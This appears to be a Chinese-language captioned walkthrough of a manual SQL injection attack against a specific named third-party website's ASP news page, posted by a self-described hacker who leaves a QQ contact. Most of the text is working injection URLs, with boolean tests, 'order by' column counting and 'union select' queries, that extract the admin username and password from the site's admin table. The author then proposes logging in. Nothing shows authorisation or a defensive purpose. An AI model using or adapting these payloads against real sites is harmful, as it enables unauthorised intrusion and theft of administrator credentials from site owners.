我是一生爱文
今天给大家带来手动注入的动画
开工了：：
http://www.gxdzkjxx.com/shownews.asp?id=79
先看有没有洞
http://www.gxdzkjxx.com/shownews.asp?id=79%20and%201=1
晕
点错了
http://www.gxdzkjxx.com/shownews.asp?id=79%20and%201=2
下面看好了
http://www.gxdzkjxx.com/shownews.asp?id=79%20order%20by%2011
正常
http://www.gxdzkjxx.com/shownews.asp?id=79%20order%20by%2012
错误
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/shownews.asp，行 156
那就有11个表了
union select 1,2,3,4,5,6,7,8,9,10,11 from admin
用这句
晕
刚刚还可以的
忘了点；东西
不好；意思
见那个2了没
下面就是最激动时刻了
http://www.gxdzkjxx.com/shownews.asp?id=79%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20from%20admin
对了要在前面加and 1=1哦
shine
这就是用户名拉
http://www.gxdzkjxx.com/shownews.asp?id=79%20and%201=1%20union%20select%201,username,3,4,5,6,7,8,9,10,11%20from%20admin
shine
这是密码
管理很垃圾呀
http://www.gxdzkjxx.com/shownews.asp?id=79%20and%201=1%20union%20select%201,password,3,4,5,6,7,8,9,10,11%20from%20admin
好了
登陆吧

又断了
电脑垃圾了
用工具找后台吧
好了
不玩了
主要是告诉大家
不要老用工具
要用手工
这样才能成为高手
88了
我QQ：599034977